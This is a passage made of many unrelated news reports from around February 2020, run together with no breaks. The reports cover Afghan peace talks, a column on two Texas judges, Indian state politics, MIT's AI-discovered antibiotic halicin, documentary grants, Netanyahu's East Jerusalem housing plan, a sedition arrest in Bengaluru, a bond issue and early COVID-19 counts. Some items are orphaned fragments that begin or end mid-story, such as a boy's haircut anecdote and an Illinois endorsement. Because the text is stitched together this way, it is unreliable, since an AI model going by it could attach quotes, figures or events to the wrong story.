lead talks with the Taliban. Washington has called on the government to name an inclusive, national negotiating team, amid accusations by opposition political figures that they were being sidelined from the process. Political infighting in Kabul has also threatened to derail the U.S.-Taliban peace deal. The disputed, long-delayed result from the September 28 presidential election has triggered a political crisis that threatens to spill over into violence. President Ashraf Ghani on February 18 was finally declared the winner of the vote, but main challenger Abdullah Abdullah -- the country's chief executive officer -- rejected the outcome, declared himself the winner, and vowed to form a parallel government. Given the ugly political environment in Afghanistan -- one compounded by an election result already rejected by the loser -- it will be a tall order to expect Kabul to put together a negotiating team and present a common front in talks with the Taliban, said Kugelman. It's also hard to imagine the Taliban negotiating a power-sharing agreement within a political system that the insurgents have long rejected and vowed to overthrow by force, he said. Lucas went to the bathroom and looked at himself in the mirror and he started crying, Melchor said. He was saying I want my hair back. A second later, my husband was in the bathroom (cutting his hair). He was saying (to Lucas), Look baby, we look the same. And my son never complained about his hair again. The bizarre actions of 386th Juvenile Court Judge Arcelia Trevino and Bexar County Court-at-law No. 2 Judge Grace Uzomba, both of whom came into office during recent Democratic Party sweeps at the polls, have disrupted the normal flow of business in the criminal justice system and left many of their colleagues shaking their heads. Uzomba made front-page news last week after Bexar County Clerk Lucy Adame-Clark removed her two deputy clerks and all case files from Uzombas court offices amid allegations the judge was mistreating those employees and allowing unauthorized access to those files. Trevino then stepped into the public light when she accused a prosecutor in her court of an unspecified conflict of interest and had her escorted out of the courtroom by her bailiff. It was the second time shes banned a prosecutor from her court. In January, Trevino ordered a prosecutor to leave her courtroom supposedly because the attorney had been block walking for the judges political opponent. The only recourse for voters is at the polls. Trevino is seeking re-election to a second term. Uzomba is in the beginning of her second year on the bench. The situation in Uzombas court appears to have ben resolved for the time being. The county clerk has agreed to return her files and clerks to the court. The judge has promised to be kinder and gentler with staff and those who practice law in her court. During Uzombas first 14 months on the bench, six court clerks have asked to be reassigned. She is in the process of filling the court coordinators job for the third time. Among the many complaints about Uzomba is she keeps staff working beyond regular business hours because she likes to stay at the office late into the night. Sometimes she asks them to work weekends. County staff assigned to her court have said she refuses to allow them regularly scheduled lunch hours or breaks (a universal practice in the courthouse, allowing attorneys a predictable schedule for conducting business). In one incident, she denied a request for a break from a lawyer who was breastfeeding. Trevinos problems are somewhat opposite of Uzomba. The juvenile court judge has earned a reputation for frequently posting glamour shots on Facebook and rarely showing up to work. Her work ethic was the biggest complaint until she started banning prosecutors from her court. The removal of prosecutors from a courtroom by a judge because the judge suspects they support her opponent is unprecedented. There are no legal grounds for that. On Wednesday, when Trevino ordered Assistant District Attorney Khristina Fielder to leave the court due to a conflict of interest, the prosecutor denied a conflict, arguing she had never represented the children or knew their parents. Trevino has refused to discuss the nature of the alleged conflicts with District Attorney Joe Gonzales. But speculation has focused on a $1,000 campaign contribution made last fall by Fielders husband to Trevinos primary opponent, Jacque Valdes. This type of behavior is appalling. Uzomba and Trevino lack the judicial temperament for the job. Trevino defeated Laura Parker, who is considered one of the best juvenile court judges Bexar County ever had. Trevino has delegated the bulk of the courts work to Associate Judge Pat Garza, who is appointed. Attempts to discuss Trevinos work ethic with her resulted in my getting thrown out of her chambers and unfriended on Facebook. Similarly, Uzomba did not respond to an interview request about the problems in her court. I first met Uzomba in 2018 when she was running for her bench. She missed a candidate meeting with the Express-News Editorial Board. She insisted on a one-on-one meeting, canceled that at the last minute to attend a political luncheon and then showed up later that same day for her interview without an appointment. After our visit, I made some calls to vet her candidacy. Thats something we do with all judicial candidates. I found the county court judges had been sending her letters threatening to remove her from court appointment rotations due to her failure to appear in court. When I called to ask about that, she spoke as if she had been the one who had brought up the letters during our earlier conversation. She had never mentioned them. Uzomba downplayed the seriousness of the letters, explaining her no-shows were because of concurrent court settings. Trevino and Uzomba are making a mockery of the criminal justice system and warrant scrutiny by the Texas Commission on Judicial Conduct. A message needs to be sent this type of behavior is not acceptable and will not be tolerated. gpadilla@express-news.net Delhi cabinet minister Rajendra Pal Gautam on Friday said the AAP government will set up an SC/ST women welfare cell and deploy 'mohalla marshals' in the city to ensure women safety at grassroots level. Gautam met Delhi Commission for Women chief Swati Maliwal to discuss the work done by the panel and formulate an action plan. "In our guarantee card, women safety is the topmost priority. The plan is to set up 'mohalla marshals' and strengthening mahila panchayats in the upcoming months," the Women and Child Development minister said. The role of 'mohalla marshals' will be a revolutionary step in ensuring the overall security and safety at the grassroots level, according to an official statement. The 'mohalla marshals' will be a security layer between police and citizens to help women and senior citizens feel safer. They will work in shifts all day. "We have conducted a pilot project on 'mohalla marshals' in Burari wherein civil defense officers conducted regular checks in those locations which were the most vulnerable and from where we received the maximum complaints. The results were outstanding and should be implemented across all 70 Vidhan Sabhas," Maliwal said. Gautam has also asked DCW to set up a special SC/ST women welfare cell in the Commission that will work towards the welfare of women from the community. "Seeing the atrocities on women from the SC/ST community, we welcome the idea of the WCD Minister and will add a special cell which will work towards the welfare and offer protection to women from the SC/ST community," Maliwal added. The minister also has plans to set up a special board for transgender and offer protection to the community. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Express News Service BHOPAL: The crucial Gwalior-Chambal region, which gave 26 out of 34 seats to the Congress in Madhya Pradesh, is witnessing divisions within the ruling party just a few months before the crucial by-elections to Jaura Assembly seat. Other than loyalists of ex-Union minister Jyotiraditya Scindia, another powerful leader and ex-MP minister Aidal Singh Kansana also has spoken in threatening tone over not being made a minister in the Kamal Nath government. It all started with Scindia possibly the biggest Congress leader of Gwalior-Chambal region declaring publicly last week to hit the streets against his own party government if promises made in the 2018 polls manifesto werent fulfilled. But things took an ugly turn, after CM Kamal Nath responded by daring Scindia to hit the streets, if he wanted do so. Though Nath later played down the matter, it wasnt enough to placate the frayed tempers of Scindia supporters. Women and Child Developmen minister Imarti Devi (a Scindia loyalist) announced that the entire party will follow Scindia, if he hits the street.Another Scindia loyalist Gwalior-based Mahila Congress state general secretary Ruchi Rai Thakur has demanded that Scindia revives the Madhya Pradesh Vikas Congress which was founded by his father late Madhav Rao Scindia in late 1990s.Former Gwalior District Congress office bearer Bal Khande made a series of pro-Scindia and anti-government remarks. He appealed Scindia loyalists to quit the state government and hit the streets to wage the battle for Scindias honour. Meanwhile, ex-minister Aidal Singh Kansana has also spoken in threatening tone over being repeatedly ignored by the party. Ive been assured in the past by the chief minister and national general secretary Deepak Babaria for being inducted as minister, but their word is yet to turn true. Repeatedly ignoring senior leaders like me will not be good for partys prospects in Jaura.According to party sources, some other MLAs of the Gwalior-Chambal region, including Ranveer Jatav and party veteran KP Singh Kakkaju too are not said to be happy with the state government. The Agar and Jaura by-elections are crucial as the Congress, which has 114 members in the 230 members Assembly, is running the government with support of seven allied legislators. But if it wins the twin by-polls, it will have the 116 members simple majority of its own in the House. Scientists have discovered a new antibiotic that can kill even the toughest superbugs that have become resistant to all other known drugs, a new study reveals. Researchers at Massachusetts Institute of Technology (MIT) researchers ran about 6,000 molecules through their artificial intelligence program, searching for those that could kill E. coli. Of all those, the AI picked out exactly one that appeared most effective against the bacteria and didn't structurally resemble any of the 1,700 FDA-approved compounds included in their library. When the MIT team tested the newly-identified compound in the lab, its potency was remarkable. The drug killed dozens of types of bacteria, including strains that have proven resistant to all known antibiotics. It's a promising discovery highly anticipated by public health experts worldwide as the World Health Organization has warned that antibiotic resistance is a leading threat to human survival. A newly discovered antibiotic can kill bacteria resistant to all other known drugs, offering hope in the fight against superbug infections, according to new research from MIT (file) Each year, more than 2.8 million Americans develop antibiotic-resistant infections. Of those struck by them, 35,000 die. The WHO calls antibiotic resistance 'one of the biggest threats to global health security and development today.' Antibiotics - beginning with penicillin - were among the most important medical advancements to humanity. Penicillin alone is estimated to have saved some 200 million lives since its discovery in 1928. So reliably could antibiotics clear up infections that they became a go-to, presumptive treatment for many symptoms. Thus began the age of over-prescribing, and it's only gotten worse with time. Americans took 65 percent more antibiotics in 2015 than they did in 2000. Plus, the drugs are used to treat US livestock and plants. As bacteria are exposed to antibiotics, the strains vulnerable to the drugs die off and the mutated ones for which these medicines are a poor weapon thrive, allowing the bacteria to become resistant to the drugs. When an infection is resistant to an antibiotic, the drug is rendered useless against it. When an infection is resistant to all antibiotics, the patient is nearly guaranteed to die. Important though antibiotics are to human survival on the whole, they are not a lucrative investment for pharmaceutical companies, so discovery and development of these common drugs has slowed to a crawl. But the MIT lab's new drug is a bright spot on that otherwise bleak horizon. The compound, which they've named halicin after 'Hal,' the AI from the film 2001: A Space Odyssey, is impressively effective so far and works differently from most antibiotics. Researchers tested their experimental drug against C. diff, Acinetobacter baumanii, Pseudomonas and Mycobacterium tuberculosis in petri dishes. It killed all of the hard-to-treat bacteria, with the exception of Pseudomonas, a notoriously tough lung infection that's particularly fatal to cystic fibrosis sufferers. They then tested their new discovery in mice infected with A. baumanii, which commonly strikes soldiers in Afghanistan, invading wounds, the urinary tract, lungs or bloodstream. Even though the strain the researchers used is resistant to all known antibiotics, the mice completely cleared the infection within 24 hours of the application of a halicin ointment. And because it disrupts cells on the membrane of bacteria that allow them to store energy, the scientists think the pathogens will be far less likely to develop antibiotic resistance. 'When you're dealing with a molecule that likely associates with membrane components, a cell can't necessarily acquire a single mutation or a couple of mutations to change the chemistry of the outer membrane. Mutations like that tend to be far more complex to acquire evolutionarily,' said first author of the study, Dr Jonathan Stokes, an MIT and Broad Institute postdoc. After the success of their hunt for halicin, the researchers are investigating an additional eight molecules that their AI identified as promising. San Francisco, Feb 21 : Software giant IBM on Friday said it will provide its Clinical Development (ICD) system free of charge to institutions in China that are researching novel coronavirus (COVID-19) drugs and conducting related clinical trials. During this critical period, IBM intends to work together with medical institutions and practitioners by leveraging the ICD system to help support the accelerated development of key drugs to combat the virus. ICD is a unified SaaS-based data capture solution, designed to provide end-to-end visibility as well as patient, site, and clinical trial management capabilities. According to the company, ICD is designed to reduce the time and cost of clinical trials by centralising and organising clinical trial details, providing 24/7 access to clinical trial data via a single URL from any web-enabled device, and providing a flexible and scalable data management platform to help design and manage clinical trials by incorporating optional clinical trial-specific features and services. IBM intends to provide ICD system free of charge to eligible applicable novel coronavirus-related clinical trials in China. The company will provide commercially-reasonable technology to support database construction and basic training for the use of ICD. IBM is taking steps to help hospitals, sponsors in China that are researching novel coronavirus drugs and conducting related clinical trials. Click here to read the full article. The International Documentary Association on Friday announced its latest round of grant funding. Its providing a total of $245,000 out of two funds for 15 films, many of which are investigative works. The organization also announced its first class of Documentary magazine editorial fellows for a program meant to enhance opportunities for writers from underserved and underrepresented communities. This year, 10 projects are set to receive $15,000 each from the IDA Enterprise Documentary Fund, which supports in-depth explorations of contemporary stories that into journalistic practice into filmmaking. The fund is supported by the John D. and Catherine T. MacArthur Foundation and the Jonathan Logan Family Foundation. More from IndieWire Among them is 11 Questions, the working title of the project from director-producer Cassandra Herrman, which is also getting funding from Frontline. This marks the first-ever joint-funding collaboration between IDA and the prestigious PBS series. Herrman has been nominated for three News & Documentary Emmy Awards, most recently for Conflicted: The Fight for Congos Minerals, a 2016 episode of Al Jazeera Englishs Fault Lines. Regardless of our booming field, with the vast distribution opportunities cropping up, development remains largely self-funded by independent filmmakers, said Carrie Lozano, director of the fund, in an official statement. We are committed to supporting filmmakers early in their process, even at the concept phase, to lessen the burden. This slate has a particularly investigative thrust, as these filmmakers unravel complex issues and phenomenon, and we are thrilled to announce that Frontline has already signed on to support 11 Questions. Story continues The other Enterprise Fund grantees are: $huffle (Benjamin Flaherty, director; Carra Greenberg, producer) End of Land (Sara Dosa, director; Shane Boris, producer; Elijah Stevens,co-producer) Impossible Town (Meg Griffiths, co-director/producer; Scot Faris, co-director/co-producer) Magic & Monsters (working title) (Norah Shapiro, director/producer; Mark Steele, producer) Storm Lake Untitled (Jerry Risius, director; Beth Levison, co-director/producer) Untitled Dwarfism Project (Julie Forrest Wyman, director/producer; Shaleece Haas, producer) Untitled Lerone D. Wilson Documentary (Lerone D. Wilson, director/producer; Andrea Mustain, producer) Untitled South Sudanese Asylee Project (Amy Bench, director/producer; Carolyn Merriman, producer) An untitled project not being identified due to the sensitive nature of its subject The news comes as one recent Enterprise grant recipient, A Thousand Cuts from director Ramona S. Diaz, premiered in the U.S. Documentary Competition section at Sundance, and another, Life Overtakes Me from Kris Samuelson and John Haptas was nominated for the Oscar for Best Documentary (Short Subject). Applications for the next round of Enterprise Documentary Fund awards is open. IDA will accept applications until March 1. More information is available at documentary.org/enterprise. An additional five projects will receive grants totaling $95,000 through IDAs Pare Lorentz Documentary Fund. The fund was created in 2011 with support from The New York Community Trust and honors the legacy of New Deal-era documentary filmmaker Pare Lorentz. The projects are: A Place to Learn (working title) (Kevin Shaw, director/producer; Rachel Dickson, producer) Hope is a Hammer (Nicholas Bruckman, director; Amanda Roddy, producer) Mississippi Red (working title) (Kelly Duane de la Vega, director/co-producer; Jessica Anthony, co-director/producer) Socialism: An American Story (working title) (Yael Bridge, director/producer; Morgan Spector, producer) Thats How We Roll (Sara Terry, director/producer; Alysa Nahmias, producer) Additionally, IDAs editorial fellows will participate in the Documentary magazine planning process and help bring a wider range of voices and perspectives to the publications coverage of the documentary field. Fellows receive an annual stipend to write articles for publication, participate in editorial meetings, attend mentorship sessions, and attend IDAs Getting Real conference in September. The fellows, accompanied by their IDA blurbs, are: Yi Chen, a queer Hakka-Chinese journalist from rural Massachusetts who aims to use media as a tool of social advocacy. She has written for the Boston Globe, Elastic magazine, and Birthmark magazine. She has conducted research at MITs Open Doc Labs and is currently working on a docuseries highlighting her Hakka heritage. Ashley Omoma, a daughter of Nigerian immigrants who is currently earning her masters degree in journalism at the University of California, Berkeley. As a journalist and documentarian, she works to amplify narratives that integrate systems of power while bringing forth the humanity of those marginalized by those systems. Ashley has worked at the New York Times, PBS, Refinery 29, and Starfish Media. Kristal Sotomayor, a bilingual Latinx freelance journalist, documentary filmmaker and festival programmer based in Philadelphia. Kristal aims to decolonize documentary by practicing transformative filmmaking that humanizes and validates the lived experiences of underrepresented communities. Kristal serves as programming director for the Philadelphia Latino Film Festival (PHLAFF) and communications and outreach coordinator at Scribe Video Center, and has written for ITVS, WHYY, and Submittable. Reveca Torres is the co-director of ReelAbilities Film Festival Chicago and a curator of photography and art exhibitions that showcase the work of people with disabilities and bring awareness to disability rights. She has earned fellowships from Kartemquin Films Diverse Voices in Docs program, University of Illinois Chicago 3Arts, Santa Fe Art Institute and Vermont Studio Center; and has written for New Mobility Magazine and Huffington Post. Best of IndieWire Sign up for Indiewire's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Former Prime Minister of the United Kingdom David Cameron made a rare public appearance last week to address a group of young volunteers from Bono's outfit ONE UK. According to reports, attendees were allegedly told that questions on Brexit were not allowed for the Q&A session that followed his talk. What's ironic is that David Cameron was responsible for bringing the referendum on the UNK's continuing membership of the EU, which later began to be known as Brexit. As per reports, Cameron was in favour of staying in the EU, but he lost the referendum as the majority vote to leave. Read: EAM Jaishankar, EU Trade Commissioner Discuss Prospects For India-EU Economic Cooperation According to reports, volunteers at the event found Cameron's talk on 'effective campaigning' hilarious because he himself lost the referendum vote in 2015 and had to resign as Prime Minister of the United Kingdom to make way for Theresa May. One of the volunteers while talking to the press said the campaign that Cameron will always be remembered for is the EU referendum, and with the negative result that followed, he should be the last person to talk on effective campaigning. As per reports, Cameron supporters were not sure if people would follow the instructions so they only took questions from those who had submitted them beforehand. Read: EU To Propose Changes In System For Admitting New Members In Attempt To Lift French Veto Cameron's term David Cameron-led Conservative Party secured an unexpected majority in the 2015 election following which he introduced the EU referendum to fulfill the manifesto pledge his party had promised. Cameron, who was in support of staying with the EU, lost the referendum as people voted to leave. However, prior to the political debacle in 2015, Cameron was known for modernising the Conservative Party and for decreasing the United Kingdom's national deficit. Cameron is credited for bringing in some progressive policies like the legalisation of same-sex marriage in England and Wales and privatisation of Royal Mail and some other state assets. Read: Mega Diplomatic Win For India: EU Parliament Defers Anti-CAA Resolution Voting; Pak Foiled Read: Mehbooba Mufti 'relieved' At EU Parliament's CAA Resolution; Seeks Sanctions Against India Discussion of the Nagorno-Karabakh issue with Azerbaijani President Ilham Aliyev within the framework of the Munich Security Conference, I think, is a turning point. Armenian Prime Minister Nikol Pashinyan said this in an interview with the state-funded Public Television of Armenia yesterday. Since May 2018, Azerbaijan has been trying to convince the entire international community that Armenia has a destructive stance on the Karabakh issue, he said. This conversation has clearly shown to the international community that Armenia has a constructive stance on the Karabakh issue, whereas Azerbaijan has a destructive, even racist stance on the Karabakh issue; this is the most important result. According to the Prime Minister, the second most important result is that he has fulfilled one of his most important promises to the Armenian people. I have said that I will not have any secrets from the Armenian people in the negotiation process on the Karabakh issue, Pashinyan noted. The entire Armenian people must be aware of the content of the Karabakh issue." In addition, he said, a very important thing happened as a result of that meeting; "A new content of the negotiations on the Karabakh issue is being formulated, which I conventionally call the Munich Principles." Nikol Pashinyan stressed that if there is a proposal for an equally effective security tool, that proposal should be formulated, and the Armenian people will discuss whether or not it is acceptable to them. "We say that this status quo, when it was formed, when the self-defense forces of Artsakh took control of those territories, they did so that the aggressive actions of Azerbaijan were removed from Nagorno-Karabakh as far as possible to make them inaccessible, he said. If there is a proposal for an equally effective security tool, let that proposal be formulated, and the Armenian people will discuss whether or not it is acceptable to them." The Armenian Prime Minister reiterated that Nagorno-Karabakh has gained independence just like Azerbaijan. When they speak of the principle of territorial integrity, they speak of the principle of territorial integrity of which country? Pashinyan asked and continued. When Azerbaijan gained independence, did it maintain the territorial integrity of the Soviet Union? A counter question may be voiced that the state of the Soviet Union no longer exists. But the state in which Nagorno-Karabakh was a part also doesnt exist; that state is the Soviet Socialist Republic of Azerbaijan. This discourse has subtleties that must be taken into account." Brussels, Belgium (PANA) - The European Union on Friday called on Guinean political actors to engage in dialogue ahead of the legislative elections and referendum scheduled for 1 March By Express News Service BENGALURU: Nineteen-year-old BA Journalism student Amulya Leona, who was arrested for shouting Pakistan Zindabad during an anti-CAA event at Freedom Park on Thursday evening, has been remanded to 14 days in judicial custody by a local court. However, the feisty teenager from Chikkamagalur has blamed her predicament on the organisers of the protest Hindu Muslim Sikh Isaai Federation for not allowing her to complete what she wanted to say on stage as they grappled with her for the microphone as soon as she hailed Pakistan. "Maybe she had intended to say what she had recently posted on her Facebook page where she has said Zindabad to all the countries, including India and Pakistan. But it went awry. She was not answering any of our questions, but kept saying she had not done anything wrong," a senior police official said. The police have booked Leona for sedition and promoting enmity between groups. After her arrest, she was thoroughly questioned by the police for over two hours. After recording her statement, the police produced her before a magistrate in the wee hours of Friday. When she was taken to the judges residence, located at the National Games Village in Koramangala, Leona pointed towards the TV cameras and flashed a victory sign. ALSO READ | Pro-Pak slogans: Amulya's home attacked, outfits protest demanding severe punishment As the police did not seek her custody, the judge remanded her to judicial custody and she was subsequently taken to Bengaluru Central Prison at Parappana Agrahara. Her advocate is expected to file a bail application in the court on Monday. When the police took her into custody at Freedom Park and quizzed her, she reportedly did not answer any of their questions but kept insisting that she had not done anything anti-national to be charged with sedition. "It was the organisers mistake to snatch the mike from me before I completed what I had to say. Because of them, I have been arrested today. If they had given me a chance to complete what I had to say, nothing like this would have happened. Now, there is no point in telling you what I intended to speak there. But I can say that there was nothing anti-national in what I did. You can initiate action against me and my advocate will fight the case," a source, citing Leona, said. The police recorded whatever she said as her voluntary statement and submitted it to the magistrate. "We tried to find out why she did what she did and whether there was anyone else behind her making such a statement. But it appears she had done it on her own," the police official said. NOTICE TO ORGANISERS The Upparpet police have issued a notice to the organisers of the anti-CAA protest, Hindu Muslim Sikh Isaai Federation, to appear before the investigation officer in connection with the case. ALSO READ | Cops provide security to kin of Amulya Leona who raised pro-Pak slogans at anti-CAA rally As the organisers had claimed they had not invited Amulya Leona to the event, the police have sought an explanation on how she was allowed to appear on the dais. Deputy Commissioner of Police (West) Ramesh Banot said, "We will question them and decide later whether legal action should be initiated against them too." SECURITY TO COLLEGE Following the incident, the South Division police had deployed policemen at NMKRV College in Jayanagar, where Amulya Leona is studying. As many organisations took to the streets protesting her act, senior officers have deployed policemen at the college as a precautionary measure. The parents of a man who died in a fire in Portland, Ore., have filed a nearly $6 million lawsuit against the apartment owners and the man accused of setting the fire. Batool and Ali Alhaji have filed a lawsuit over the death of their son, Taher Ali Alhaji, who died July 23, 2017 in a fire police say was set by Ryan Monaco, The Oregonian/OregonLive reported. According to a police affidavit, Monaco had been visiting his ex-girlfriend, Ashley Mercier, who lived with Alhaji and Jason Miller, and set the couch on fire after they got in an argument and she left the apartment. Taher Alhaji and Miller both died in the fire. Monaco was indicted on 17 charges and is awaiting trial. Fire crews discovered one body when they entered the apartment and found another in a bathroom. They also found a dead dog and several dead reptiles. Alhajis parents are suing apartment owner Farhoud Mohammad and property manager Moe Farhoud, claiming the apartment did not have functioning smoke detectors, automatic fire extinguishing systems and fire escapes. They are also suing Monaco for negligence. Hajis parents are seeking a jury trial and noneconomic damages of $5.8 million. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Oregon Appalachian Underwriters, Inc. has hired Carol Ashman as its new external marketing representative for Western Florida. She will focus on building agent relationships in the Florida Panhandle. She comes to AUI with 16 years in the retail agency side of insurance. Ashman will join two other external marketing representatives in the state: Felipe Grinan for South Florida and Vianka Mambuca for North Florida. Appalachian Underwriters, Inc. is a full-service MGA and wholesale insurance brokerage, providing independent agents a national outlet to multiple specialized markets for workers compensation, commercial specialty, and personal lines of insurance. Topics Florida Underwriting Israeli prime minister Benjamin Netanyahu announced plans on Thursday to build thousands of new housing units in contested East Jerusalem, which critics say could doom any prospect of a deal with the Palestinians. It is likely to be years before any of the 6,200 units would be built but the announcement, 11 days before a national election, was widely seen as an effort by Mr Netanyahu to solidify support among his right-wing base. The homes are slated for two areas in East Jerusalem, which was captured by Israel from Jordan in the 1967 war and has long been demanded by Palestinians as the capital of a future independent state. Israel unilaterally annexed the area as part of its capital, a move not recognised by most countries but endorsed by president Donald Trumps Middle East plan. We are joining up all the parts of unified Jerusalem, Mr Netanyahu announced in a video shot against the backdrop of Har Homa, one of the two neighborhoods where the new homes will be built. Mr Netanyahu said his office would soon begin the bidding process for the construction of 1,000 of the new units in the other neighbourhood, Givat Hamatos, jump-starting development in an area where nothing has been built for years because of international pressure. Palestinians await Israeli demolition of their homes in the West Bank Show all 7 1 /7 Palestinians await Israeli demolition of their homes in the West Bank Palestinians await Israeli demolition of their homes in the West Bank Children play as their parents prepare for their homes to be destroyed (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank A toddler plays in the dirt of Khan al-Ahmar village (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank Palestinian flags festoon the Bedouin village of Khan al-Ahmar as they await eviction (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank Children play as their parents brace themselves for the bulldozers (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank Iman, 7, says she does not want to leave her home (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank The demolition order includes the villages school, which provides education for some 170 children from five different Bedouin communities. (Bel Trew) Bel Trew/The Independent Palestinians await Israeli demolition of their homes in the West Bank The playground of the school which will likely be demolished in the coming days (Bel Trew) Bel Trew/The Independent Mr Netanyahu said he had now removed all the limitations. Supporters of the two-state solution to the Israeli-Palestinian conflict have long warned that construction in Givat Hamatos would choke off the last open area connecting East Jerusalem with the Palestinian city of Bethlehem and the southern West Bank. The veteran Palestinian negotiator Saeb Erekat condemned the move. Ongoing Israeli settlement announcements represent the implementation of the Trump plan, which requires urgent international action to deter both Israel and the US from their continued violations of international law and order, he said in a statement. The plans announced by Mr Netanyahu call for 4,000 new homes in Givat Hamatos. They would include 1,000 units for Arab residents, potentially to be built on land privately owned by Palestinians as an extension of a nearby Palestinian neighborhood, Beit Safafa. With that, Mr Netanyahu said he was fostering coexistence and peace in Jerusalem. The other 2,200 units would expand Har Homa, in southeast Jerusalem, which he founded in the late 1990s over strong international objections. Those units are in a preliminary planning stage and probably years away from construction. The Trump administrations plan, released last month, recognises Israeli sovereignty over a unified Jerusalem, from west to east, relegating any Palestinian capital to a few disconnected and outlying areas. Most countries consider East Jerusalem to be occupied territory and Israeli settlements there to violate international law. The Palestinian leadership has rejected the plan as a one-sided proposal that rewards Israels occupation. Aviv Tatarsky of Ir Amim, a group advocating an equitable arrangement between Israelis and Palestinians in Jerusalem, said that creating Israeli contiguity in the city and cutting the Palestinian neighborhoods off from the West Bank was the goal of Har Homa and Givat Hamatos in the first place. Netanyahu stands at an overview of the East Jerusalem settlement of Har Homa where he announced a new neighbourhood is to be built (Debbie Hill/AP) Thursdays declaration, he said, was one of the first manifestations of how destructive the Trump administrations plan was. Peace Now, another Israeli anti-settlement group, said the plans amounted to state suicide by preventing any viable two-state option for the future. If nobody stops it, then in a year or two they will begin to build in Givat Hamatos, said Hagit Ofran of Peace Nows Settlement Watch department. Mr Netanyahu, Israels longest-serving prime minister, has been in office continuously since 2009 but is now fighting for his political future. He was indicted in November on charges of bribery, fraud and breach of trust in three graft cases. Two earlier elections, in April and September 2019, ended inconclusively, with neither Mr Netanyahu nor his chief opponent, Benny Gantz, of the centrist Blue and White party, able to muster the majority needed to form a viable government. An unprecedented third ballot in a year is set for 2 March. Amid the political stalemate, Mr Netanyahu and his conservative Likud party are competing with parties further to the right for every possible vote. He has come under increasing pressure from right-wing and settler groups for failing to build in Jerusalem. Immediately after the rollout of the Trump administrations plan, Mr Netanyahus government promised to begin the process of extending Israeli sovereignty over substantial parts of the occupied West Bank, as the Trump plan envisaged, within days. But the White House put the brakes on, making clear that it would not endorse any such move before the Israeli elections. The New York Times 45th District. The winner of this three-way Republican primary faces incumbent Democrat Diane Pappas in the general election. Randy Ramey, 57, has been a fixture in suburban politics for years. Hes the Wayne Township supervisor, a former state representative for the northwest suburban 55th District as well as the former DuPage County GOP chairman. But he also had a serious lapse in judgment in 2011 when, while the DuPage GOP chair, he was slapped with a DUI after a registering 0.204% on a preliminary blood alcohol test. When pulled over, he asked the Carol Stream police officer, Do you know who I am? When he ran for state Senate in 2012, we noted that he had been clouted into the Illinois House thanks to his stepfather, former Senate President James Pate Philip. We didnt endorse him in 2012, and we cant endorse him now. Michael Camerer, a Bartlett chiropractor and village trustee, says he would like the state to take a hard look at where government can be condensed school district consolidation would be a good place to start. Camerer is endorsed. Also on the ballot is Alfredo Al Manzo of Addison. PIERRE | A Republican lawmaker who tried to roll out the welcome mat for Virginia gun owners saw his legislation shot down in committee Friday morning. Senate Concurrent Resolution 602 sought to invite responsible gun owners from Virginia to move to South Dakota. The resolutions sponsor, Sen. John Wiik, R-Big Stone City, said gun owners in Virginia were having their right to bear arms threatened by a new Democratic majority in that states government. These are the kinds of people we want in South Dakota, said Wiik, who added that he wanted the gun owners of Virginia to know that they have a place to go if their constitutional rights are threatened. Sen. Craig Kennedy, D-Yankton, said he took some offense at Wiiks statement that those were the kind of people who should move to South Dakota. Im not sure we want to divide the state into them or us, said Kennedy, who made a motion that the bill be moved to the 41st day of the session, a tactic that kills legislation. The Senate State Affairs Committee approved the motion on a vote of 6-2. You must be logged in to react. Click any reaction to login. Love 0 Funny 1 Wow 0 Sad 0 Angry 0 Gold loan financier Muthoot Finance on Friday said it has raised USD 550 million (around Rs 3,900 crore) through dollar bond, offering a coupon of 4.4 per cent. The proceeds of the issue will be used for towards lending, the company said in a release. Last year in October, it had raised USD 450 million through its maiden three-year bond. "The response from international bond investors in our second issue is quite overwhelming. This fund raise will enable us in further diversifying and strengthening our sources of funding," its chairman M G George Muthoot said. The transaction saw 37 per cent participation from Asia, 13 per cent from Europe and 50 per cent from the US. The bond was launched with an initial pricing guidance of 4.750 per cent on February 20, but with a strong demand from investors, the company was able to tighten pricing by 35 basis points to 4.4 per cent, the release said. Around 89 per cent of investments came from fund managers, six per cent from private banks, three per cent from insurance and banks and two per cent from others. The bonds will be listed on International Securities Market of the London Stock Exchange. Deutsche Bank and Standard Chartered Bank acted as the global coordinators and book runners for the issue. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) China reports drop in new virus infections despite fatality increase Iran Press TV Thursday, 20 February 2020 8:54 AM Figures show a big drop in new coronavirus cases in mainland China, even as deaths from the infectious epidemic increase to 2,118 people. On Thursday, Chinese health officials reported 600 new infections with COVID-19, the lowest daily tally since late last month, and well down from the 1,749 new cases the day before. Confirmed cases now number at 74,576. A new 114 deaths were also recorded. Infections in mainland China had displayed a continuous downward trend for the last three days already. The World Health Organization (WHO) has said any visible trend must be interpreted "very cautiously." Earlier this week, Chinese authorities said that their drastic containment efforts, including quarantining tens of millions of people in the hardest-hit central province of Hubei and imposing tight restrictions on movements in other cities across the Asian country, had began to pay off. "After arduous efforts, the situation is changing for the better," said Foreign Minister Wang Yi late Wednesday, adding that Hubei and its quarantined capital, Wuhan, a city of 11 million people, were "still severely affected" by the epidemic. "But the situation is under effective control, while other regions are embracing comforting news," the top Chinese diplomat said. Richard Brennan, the regional emergency director at the WHO, said that Beijing had managed to make "tremendous progress in a short period of time" but at the same time cautioned that it had not reached a turning point just yet. Embattled cruise passengers The biggest cluster of infection cases identified outside the Chinese epicenter has been reported on Diamond Princess, a British cruise ship quarantined off the Japanese port of Yokohama, where 621 of about 3,700 people on board one sixth of the total have tested positive for the virus. Japan's national broadcaster NHK, citing government sources, reported that two passengers of the ship a man and a woman in their 80s had died of the infection. Passengers began leaving the cruise ship this week. On Wednesday, one group of unaffected passengers left, and on Thursday morning, another group of around 500 people was set to leave. More than 70 cases have been confirmed in Japan. Iran takes cautionary measures Meanwhile, all schools and universities have been closed for Thursday as a preventive measure in the Iranian city of Qom, some 140 kilometers south of the capital, Tehran, following confirmation that two people died there of the virus, in the first confirmed cases in the country. Iran's Parliament Speaker Ali Larijani on Thursday called for immediate measures to counter a potential spread of the disease. Larijani made the remarks in a telephone 